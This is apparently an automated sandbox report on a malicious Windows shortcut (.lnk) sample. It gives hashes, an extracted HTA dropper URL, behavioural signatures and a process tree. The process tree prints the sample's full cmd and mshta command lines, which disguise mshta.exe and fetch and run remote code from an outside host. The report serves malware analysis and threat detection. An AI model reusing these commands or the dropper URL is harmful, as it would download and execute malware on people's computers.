Analysis

  • max time kernel
    147s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/09/2022, 11:04

General

  • Target
    ebadd662bb797b5077e24638de04a1554e19a56362d8fabe1ea6b6903491c95c.lnk
  • Size 1KB
  • Sample220901-m6axxacffn
  • SHA256 ebadd662bb797b5077e24638de04a1554e19a56362d8fabe1ea6b6903491c95c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://doc.documentshare.info/DmJMFYpwLPP3ygS/NpPZkEHpGlDQb8izXVjfft1YnEM=

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ebadd662bb797b5077e24638de04a1554e19a56362d8fabe1ea6b6903491c95c.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4984
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /q /c type C:\Windows\system32\msh*.exe>C:\Users\Public\msh&ren C:\Users\Public\* *ta.exe&for %i IN (C:\Users\Public\ms*.exe) DO start /b %~ni "https://doc.documentshare.info/DmJMFYpwLPP3ygS/NpPZkEHpGlDQb8izXVjfft1YnEM="
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4444
      • C:\windows\system32\mshta.exe
        mshta "https://doc.documentshare.info/DmJMFYpwLPP3ygS/NpPZkEHpGlDQb8izXVjfft1YnEM="
        3⤵
        • Blocklisted process makes network request
        PID:4108

Network

        MITRE ATT&CK Enterprise v6

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        Downloads